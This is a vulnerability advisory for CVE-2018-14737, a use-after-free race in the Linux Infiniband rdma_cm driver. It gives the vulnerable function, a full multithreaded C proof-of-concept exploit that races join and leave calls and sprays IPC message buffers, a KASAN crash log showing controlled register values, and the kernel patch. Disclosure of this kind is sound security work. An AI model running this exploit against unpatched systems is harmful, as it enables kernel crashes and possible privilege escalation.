SSD Advisory – Infiniband Linux Driver UAF
Credit to Author: SSD / Ori Nimron| Date: Thu, 02 Aug 2018 12:10:25 +0000
Vulnerability Summary
A bug in the threads synchronization of Infiniband Driver can cause an Use After Free. A struct that is allocated and free’d by a thread, is accessible through a second thread. If the second thread is calling the function “idr_find” before the struct was free’d by the first thread, then he can still use the struct after it was free’d.
Vendor Response
“Infiniband: fix a possible use-after-free bug has been added to the 4.17-stable tree. Patches currently in stable-queue are queue-4.17/infiniband-fix-a-possible-use-after-free-bug.patch”
CVE
CVE-2018-14737
Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
Affected systems
Linux systems that contains the Infiniband Driver running Kernel version older than 4.17 (The version that the patch was issued into).
Vulnerability Details
The function ucma_process_join() free’s the new allocated “mc” struct, if there is any error after that.
However, in the same time, ucma_leave_multicast() function that is called by a second thread could find this “mc” through idr_find() before ucma_process_join() frees it, since it is already allocated.
So “mc” is used in ucma_leave_multicast() after it is been allocated and freed in ucma_process_join().
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 | static ssize_t ucma_leave_multicast(struct ucma_file *file, const char __user *inbuf, int in_len, int out_len) { struct rdma_ucm_destroy_id cmd; struct rdma_ucm_destroy_id_resp resp; struct ucma_multicast *mc; int ret = 0; if (out_len < sizeof(resp)) return –ENOSPC; if (copy_from_user(&cmd, inbuf, sizeof(cmd))) return –EFAULT; mutex_lock(&mut); mc = idr_find(&multicast_idr, cmd.id); if (!mc) mc = ERR_PTR(–ENOENT); else if (mc->ctx->file != file) mc = ERR_PTR(–EINVAL); else if (!atomic_inc_not_zero(&mc->ctx->ref)) mc = ERR_PTR(–ENXIO); else idr_remove(&multicast_idr, mc->id); mutex_unlock(&mut); if (IS_ERR(mc)) { ret = PTR_ERR(mc); goto out; } rdma_leave_multicast(mc->ctx->cm_id, (struct sockaddr *) &mc->addr); mutex_lock(&mc->ctx->file->mut); ucma_cleanup_mc_events(mc); list_del(&mc->list); mutex_unlock(&mc->ctx->file->mut); ucma_put_ctx(mc->ctx); resp.events_reported = mc->events_reported; kfree(mc); if (copy_to_user(u64_to_user_ptr(cmd.response), &resp, sizeof(resp))) ret = –EFAULT; out: return ret; } |
Exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 | #define _GNU_SOURCE #include <endian.h> #include <linux/futex.h> #include <pthread.h> #include <stdint.h> #include <stdlib.h> #include <string.h> #include <sys/syscall.h> #include <unistd.h> #include <stdio.h> #include <sys/mman.h> #include <sys/ipc.h> #include <sys/msg.h> #include <sys/time.h> #include <sched.h> #define SEND 1 #define RECV 0 #define RDMATHREADS 30 static void test(); void createThreads(); void testTreadWake(); void exitRdmaThreads(); void loop() { createThreads(); while (1) { test(); } } struct thread_t { int created, running, call, CPUNumber, exitFlag; pthread_t th; }; struct msgInfo { int msgid; int CPUNumber; int sendOrRecv; //true: send ; false: recv }; struct { long mtype; char mtext[0xAC]; //char mtext[0xB0]; } msg = {0x42, {0}}; static struct thread_t *threads; static void execute_call(int call); static int running; static int collide; int threadWaittingNum = 0; int sendCount = 0; int *sendNum = 0; int *threadWaitting; int *threadRunning; int *ipcThreadStop; void setAffinity(void* arg); static void* thr(void* arg) { struct thread_t* th = (struct thread_t*)arg; struct msgInfo setRdmaCPUInfo; setRdmaCPUInfo.CPUNumber = th->CPUNumber; setAffinity(&setRdmaCPUInfo); for (;;) { while (!__atomic_load_n(&th->running, __ATOMIC_ACQUIRE)) { syscall(SYS_futex, &th->running, FUTEX_WAIT, 0, 0); } if(__atomic_load_n(&th->exitFlag, __ATOMIC_ACQUIRE)) { syscall(SYS_futex, &th->running, FUTEX_WAKE); pthread_detach(pthread_self()); return 0; } execute_call(th->call); __atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED); __atomic_store_n(&th->running, 0, __ATOMIC_RELEASE); syscall(SYS_futex, &th->running, FUTEX_WAKE); } return 0; } int threadNum = 0; void createThreads() { int policy = 0; int max_prio_for_policy = 0; threads = mmap(NULL, sizeof(struct thread_t)*RDMATHREADS, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, –1, 0); for (int thread = 0; thread < RDMATHREADS; thread++) { struct thread_t* th = &threads[thread]; if (!th->created) { th->created = 1; th->exitFlag = 0; th->CPUNumber = (thread==0 ? 0 : 1); pthread_attr_t attr; pthread_attr_init(&attr); pthread_attr_setstacksize(&attr, 128 << 10); if(thread == 0) { pthread_create(&th->th, &attr, thr, th); perror(“Warning_1111: “); } else pthread_create(&th->th, &attr, thr, th); pthread_attr_getschedpolicy(&attr, &policy); max_prio_for_policy = sched_get_priority_min(policy); pthread_setschedprio(th->th, max_prio_for_policy); pthread_attr_destroy(&attr); } } } void readTime(int call) { struct timeval tv; printf(“run at %dn”,call); gettimeofday(&tv,NULL); printf(“sendNum is ==== %d at %d n”, __atomic_load_n(sendNum, __ATOMIC_ACQUIRE), call); printf(“millisecond:%ldn”,tv.tv_sec*1000000 + tv.tv_usec); return; } uint64_t r[3] = {0xffffffffffffffff, 0xffffffff, 0xffffffff}; uint64_t procid; void execute_call(int call) { //printf(“call is %dn”,call); long res; switch (call) { case 0: *(uint32_t*)0x20000080 = 0; //printf(“create………n”); *(uint16_t*)0x20000084 = 0x18; *(uint16_t*)0x20000086 = 0xfa00; *(uint64_t*)0x20000088 = 2; *(uint64_t*)0x20000090 = 0x20000040; *(uint16_t*)0x20000098 = 0x111; *(uint8_t*)0x2000009a = 0xd; *(uint8_t*)0x2000009b = 0; *(uint8_t*)0x2000009c = 0; *(uint8_t*)0x2000009d = 0; *(uint8_t*)0x2000009e = 0; *(uint8_t*)0x2000009f = 0; res = syscall(__NR_write, r[0], 0x20000080, 0x20); // create if (res != –1) r[1] = *(uint32_t*)0x20000040; break; case 1: printf(“join………n”); *(uint32_t*)0x20000180 = 0x16; *(uint16_t*)0x20000184 = 0x98; *(uint16_t*)0x20000186 = 0xfa00; *(uint64_t*)0x20000188 = 0x20000140; *(uint64_t*)0x20000190 = 3; *(uint32_t*)0x20000198 = r[1]; *(uint16_t*)0x2000019c = 0x10; *(uint16_t*)0x2000019e = 1; *(uint16_t*)0x200001a0 = 2; *(uint16_t*)0x200001a2 = htobe16(0x4e23); *(uint8_t*)0x200001a4 = 0xac; *(uint8_t*)0x200001a5 = 0x14; *(uint8_t*)0x200001a6 = 0x14; *(uint8_t*)0x200001a7 = 0xbb; *(uint8_t*)0x200001a8 = 0; *(uint8_t*)0x200001a9 = 0; *(uint8_t*)0x200001aa = 0; *(uint8_t*)0x200001ab = 0; *(uint8_t*)0x200001ac = 0; *(uint8_t*)0x200001ad = 0; *(uint8_t*)0x200001ae = 0; *(uint8_t*)0x200001af = 0; __atomic_store_n(sendNum, 0, __ATOMIC_RELEASE); //readTime(1); res = syscall(__NR_write, r[0], 0x20000180, 0xa0); // ucma_join_multicast alloc “mc”, and then the function will free it and “ctx”, if there are some error. //readTime(11111); if (res != –1) r[2] = *(uint32_t*)0x20000140; break; case 2: //printf(“leave………n”); *(uint32_t*)0x20000240 = 0x11; *(uint16_t*)0x20000244 = 0x10; *(uint16_t*)0x20000246 = 0xfa00; *(uint64_t*)0x20000248 = 0x20000100; *(uint32_t*)0x20000250 = 0; // set id *(uint32_t*)0x20000254 = 0; __atomic_store_n(sendNum, 0, __ATOMIC_RELEASE); //readTime(2); syscall(__NR_write, r[0], 0x20000240, 0x18); // ucma_leave_multicast() find “mc”, and use it and “ctx”. Crash in it. break; } } void runJoin() { __atomic_store_n(threadRunning, 1, __ATOMIC_RELEASE); syscall(SYS_futex, threadWaitting, FUTEX_WAKE, threadWaittingNum, NULL, NULL, 0); struct thread_t* th = &threads[0]; if (th->created) { __atomic_store_n(&th->call, 1, __ATOMIC_RELEASE); __atomic_fetch_add(&running, 1, __ATOMIC_RELAXED); __atomic_store_n(&th->running, 1, __ATOMIC_RELEASE); syscall(SYS_futex, &th->running, FUTEX_WAKE); } } int count = 0; void runCreateOrLeave(int call, int threadNum) { struct thread_t* th = &threads[threadNum]; // 0 or 1 struct timespec ts; if (th->created) { __atomic_store_n(&th->call, call, __ATOMIC_RELEASE); __atomic_fetch_add(&running, 1, __ATOMIC_RELAXED); __atomic_store_n(&th->running, 1, __ATOMIC_RELEASE); syscall(SYS_futex, &th->running, FUTEX_WAKE); } ts.tv_sec = 0; ts.tv_nsec = 20 * 1000 * 1000; syscall(SYS_futex, &th->running, FUTEX_WAIT, 1, &ts); } void runCreateOrLeaveNoWait(int call, int threadNum) { struct thread_t* th = &threads[threadNum]; if (th->created) { __atomic_store_n(&th->call, call, __ATOMIC_RELEASE); __atomic_fetch_add(&running, 1, __ATOMIC_RELAXED); __atomic_store_n(&th->running, 1, __ATOMIC_RELEASE); syscall(SYS_futex, &th->running, FUTEX_WAKE); } } void exitRdmaThreads() { struct timespec ts; struct thread_t* th; th = &threads[0]; ts.tv_sec = 0; ts.tv_nsec = 20 * 1000 * 1000; syscall(SYS_futex, &th->running, FUTEX_WAIT, 1, &ts); for(int i = 0; i < RDMATHREADS; i++) { th = &threads[i]; if (th->created) { th->created = 0; __atomic_store_n(&th->exitFlag, 1, __ATOMIC_RELEASE); __atomic_fetch_add(&running, 1, __ATOMIC_RELAXED); __atomic_store_n(&th->running, 1, __ATOMIC_RELEASE); syscall(SYS_futex, &th->running, FUTEX_WAKE); struct timespec ts; ts.tv_sec = 0; ts.tv_nsec = 20 * 1000 * 1000; syscall(SYS_futex, &th->running, FUTEX_WAIT, 1, &ts); } } munmap(threads, sizeof(struct thread_t)*RDMATHREADS); if(sendCount) syscall(SYS_futex, ipcThreadStop, FUTEX_WAIT, 1, NULL, NULL, 0); } void setAffinity(void *arg) { int i; cpu_set_t mask; cpu_set_t get; int cpuId = ((struct msgInfo*)arg)->CPUNumber; CPU_ZERO(&mask); CPU_SET(cpuId, &mask); if (pthread_setaffinity_np(pthread_self(), sizeof(mask), &mask) < 0) { fprintf(stderr, “set thread affinity failedn”); } CPU_ZERO(&get); if (pthread_getaffinity_np(pthread_self(), sizeof(get), &get) < 0) { fprintf(stderr, “get thread affinity failedn”); } } void *holeThread(struct msgInfo *msgInfo) { int msgid = msgInfo->msgid; setAffinity(&msgInfo); if(msgInfo->sendOrRecv == SEND) { while(1) { __atomic_fetch_add(&threadWaittingNum, 1, __ATOMIC_RELAXED); syscall(SYS_futex, threadWaitting, FUTEX_WAIT, 1, NULL, NULL, 0); while(__atomic_load_n(threadRunning, __ATOMIC_ACQUIRE)) { if (msgsnd(msgid, &msg, sizeof(msg.mtext), 0) == –1) { perror(“msgsnd”); exit(1); } __atomic_fetch_add(&sendCount, 1, __ATOMIC_RELAXED); __atomic_fetch_add(sendNum, 1, __ATOMIC_RELAXED); } __atomic_fetch_sub(&threadWaittingNum, 1, __ATOMIC_RELAXED); } } else { while(1) { __atomic_fetch_add(&threadWaittingNum, 1, __ATOMIC_RELAXED); syscall(SYS_futex, threadWaitting, FUTEX_WAIT, 1, NULL, NULL, 0); int tSendCount = 0; while(__atomic_load_n(&sendCount, __ATOMIC_ACQUIRE)) { if(__atomic_load_n(&sendCount, __ATOMIC_ACQUIRE)<5) { usleep(1000*1000); continue; } if (msgrcv(msgid, &msg, sizeof(msg.mtext), 0x42, 0) == –1) { perror(“msgrcv error !!!!”); exit(1); } __atomic_fetch_sub(&sendCount, 1, __ATOMIC_RELAXED); __atomic_fetch_add(&tSendCount, 1, __ATOMIC_RELAXED); } syscall(SYS_futex, ipcThreadStop, FUTEX_WAKE); __atomic_fetch_sub(&threadWaittingNum, 1, __ATOMIC_RELAXED); } } } void createHoleThreads(struct msgInfo *msgInfo) { pthread_t tid; pthread_attr_t thAttr; int policy = 0; int max_prio_for_policy = 0; if (pthread_create(&tid, NULL, (void *)holeThread, msgInfo) != 0) { perror(“create thread”); fprintf(stderr, “thread create failedn”); return; } pthread_attr_init(&thAttr); pthread_attr_getschedpolicy(&thAttr, &policy); max_prio_for_policy = sched_get_priority_max(policy); pthread_setschedprio(tid, max_prio_for_policy); pthread_attr_destroy(&thAttr); return; } void test() { printf(“===== run test %d ====n”,count++); long res = –1; memcpy((void*)0x20000680, “/dev/infiniband/rdma_cm”, 24); res = syscall(__NR_openat, 0xffffffffffffff9c, 0x20000680, 2, 0); if (res != –1) r[0] = res; collide = 1; runCreateOrLeave(0, 1); // run rdma create on CPU 0 and Thread 1 runJoin(); // run rdma Join on CPU 0 and Thread 0 for(int i = 3; i < RDMATHREADS; i++) runCreateOrLeaveNoWait(2, i); // run rdma leave on CPU 1 and Thread [3:RDMATHREADS–1] runCreateOrLeave(2, 2); // run rdma leave on CPU 1 and Thread 2 __atomic_store_n(threadRunning, 0, __ATOMIC_RELEASE); if(res != –1) close(res); } void testTreadWake() { syscall(SYS_futex, threadWaitting, FUTEX_WAKE, 200, NULL, NULL, 0); perror(“threadWaitting_1: “); } int main() { syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, –1, 0); memset(msg.mtext, ‘x41’, sizeof(msg.mtext)); int pid = 0; int msgid = 0; struct msgInfo sendHoleInfo; struct msgInfo recvHoleInfo; struct msgInfo sendHoleInfo_1; struct msgInfo recvHoleInfo_1; threadWaitting = mmap(NULL, sizeof(int), PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, –1, 0); *threadWaitting = 1; threadRunning = mmap(NULL, sizeof(int), PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, –1, 0); *threadRunning = 0; ipcThreadStop = mmap(NULL, sizeof(int), PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, –1, 0); *ipcThreadStop = 1; sendNum = mmap(NULL, sizeof(int), PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, –1, 0); *sendNum = 0; if ((msgid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == –1) { perror(“msgget”); exit(1); } sendHoleInfo.msgid = msgid; sendHoleInfo.sendOrRecv = SEND; sendHoleInfo.CPUNumber = 0; recvHoleInfo.msgid = msgid; recvHoleInfo.sendOrRecv = RECV; recvHoleInfo.CPUNumber = 1; printf(“Creating ipc msg threadsn”); for(int i = 0; i < 250; i++) { createHoleThreads(&sendHoleInfo); } for(int i = 0; i < 150; i++) { createHoleThreads(&recvHoleInfo); } printf(“Ipc msg threads are createdn”); for (procid = 0; procid < 1; procid++) { if (fork() == 0) { //for (;;) { loop(); //} } } printf(“ending………………n”); sleep(1000000); return 0; } |
Crash info
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 | [ 623.954258] kasan: CONFIG_KASAN_INLINE enabled [ 623.956513] kasan: GPF could be caused by NULL–ptr deref or user memory access [ 623.959668] general protection fault: 0000 [#8] SMP KASAN PTI [ 623.962402] Modules linked in: kvm_intel joydev ppdev kvm irqbypass psmouse e1000 parport_pc floppy parport pata_acpi i2c_piix4 qemu_fw_cfg autofs4 input_leds serio_raw mac_hid [ 623.968486] CPU: 1 PID: 4272 Comm: use_poc_3 Tainted: G B D W 4.14.33 #1 [ 623.971948] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2–1ubuntu1 04/01/2014 [ 623.975340] task: ffff880085868040 task.stack: ffff880066e60000 [ 623.977698] RIP: 0010:__mutex_lock+0x2a9/0x1c00 [ 623.979900] RSP: 0018:ffff880066e67680 EFLAGS: 00010206 [ 623.981902] RAX: dffffc0000000000 RBX: 4141414141414141 RCX: 0000000000000000 [ 623.984623] RDX: 0828282828282828 RSI: 0000000000000000 RDI: 0000000000000246 [ 623.987391] RBP: ffff880066e67a70 R08: ffffffff8313f0b2 R09: ffff880085868040 [ 623.990093] R10: ffff880066e67548 R11: 0000000000000000 R12: ffff880066e677a0 [ 623.993642] R13: ffff880066e67800 R14: 0000000000000000 R15: ffff880066e67880 [ 623.996525] FS: 00007f1fdc554700(0000) GS:ffff880097d00000(0000) knlGS:0000000000000000 [ 623.998753] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 624.000779] CR2: 00007f1fe0622a08 CR3: 000000007fe40000 CR4: 00000000000006e0 [ 624.002582] Call Trace: [ 624.003570] ? debug_check_no_locks_freed+0x2c0/0x2c0 [ 624.004730] ? ucma_leave_multicast+0x472/0x9a0 [ 624.006545] ? mutex_lock_io_nested+0x1ad0/0x1ad0 [ 624.008518] ? debug_check_no_locks_freed+0x2c0/0x2c0 [ 624.010548] ? ucma_leave_multicast+0x3cd/0x9a0 [ 624.011826] ? lock_acquire+0x5b0/0x5b0 [ 624.012676] ? radix_tree_tagged+0x60/0x60 [ 624.013884] ? lock_acquire+0x20d/0x5b0 [ 624.015467] ? rdma_leave_multicast+0x541/0x820 [ 624.017408] ? lock_acquire+0x5b0/0x5b0 [ 624.018971] ? lock_downgrade+0x820/0x820 [ 624.020497] ? __mutex_unlock_slowpath+0x170/0xcb0 [ 624.021855] ? radix_tree_tag_clear+0x350/0x350 [ 624.023283] ? do_raw_spin_trylock+0x1a0/0x1a0 [ 624.024889] ? trace_hardirqs_on_thunk+0x1a/0x1c [ 624.026230] ? retint_kernel+0x10/0x10 [ 624.027714] mutex_lock_nested+0x1b/0x20 [ 624.029088] ? mutex_lock_nested+0x1b/0x20 [ 624.030617] ucma_leave_multicast+0x472/0x9a0 [ 624.031874] ? ucma_query_path.isra.11+0xa60/0xa60 [ 624.033216] ? lock_downgrade+0x820/0x820 [ 624.034471] ? entry_SYSCALL_64_after_hwframe+0x42/0xb7 [ 624.035921] ? kasan_check_write+0x14/0x20 [ 624.037151] ucma_write+0x31f/0x430 [ 624.038174] ? ucma_query_path.isra.11+0xa60/0xa60 [ 624.039702] ? ucma_destroy_id+0x5b0/0x5b0 [ 624.041199] ? __check_object_size+0x2d8/0x560 [ 624.043076] ? ucma_destroy_id+0x5b0/0x5b0 [ 624.044756] __vfs_write+0x90/0x120 [ 624.046565] vfs_write+0x1a0/0x520 [ 624.048185] SyS_write+0xff/0x240 [ 624.049546] ? SyS_read+0x240/0x240 [ 624.050923] ? lock_downgrade+0x820/0x820 [ 624.052617] ? SyS_read+0x240/0x240 [ 624.054182] do_syscall_64+0x28f/0x7f0 [ 624.055722] ? syscall_return_slowpath+0x400/0x400 [ 624.057637] ? syscall_return_slowpath+0x253/0x400 [ 624.059575] ? prepare_exit_to_usermode+0x2b0/0x2b0 [ 624.061498] ? preempt_notifier_dec+0x20/0x20 [ 624.063201] ? perf_trace_sys_enter+0xc70/0xc70 [ 624.064978] ? trace_hardirqs_off_thunk+0x1a/0x1c [ 624.066805] entry_SYSCALL_64_after_hwframe+0x42/0xb7 |
Patch
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | —– a/drivers/infiniband/core/ucma.c +++ b/drivers/infiniband/core/ucma.c @@ –235,7 +235,7 @@ static struct ucma_multicast* ucma_alloc return NULL; mutex_lock(&mut); – mc->id = idr_alloc(&multicast_idr, mc, 0, 0, GFP_KERNEL); + mc->id = idr_alloc(&multicast_idr, NULL, 0, 0, GFP_KERNEL); mutex_unlock(&mut); if (mc->id < 0) goto error; @@ –1421,6 +1421,10 @@ static ssize_t ucma_process_join(struct goto err3; } + mutex_lock(&mut); + idr_replace(&multicast_idr, mc, mc->id); + mutex_unlock(&mut); + mutex_unlock(&file->mut); ucma_put_ctx(ctx); return 0; |
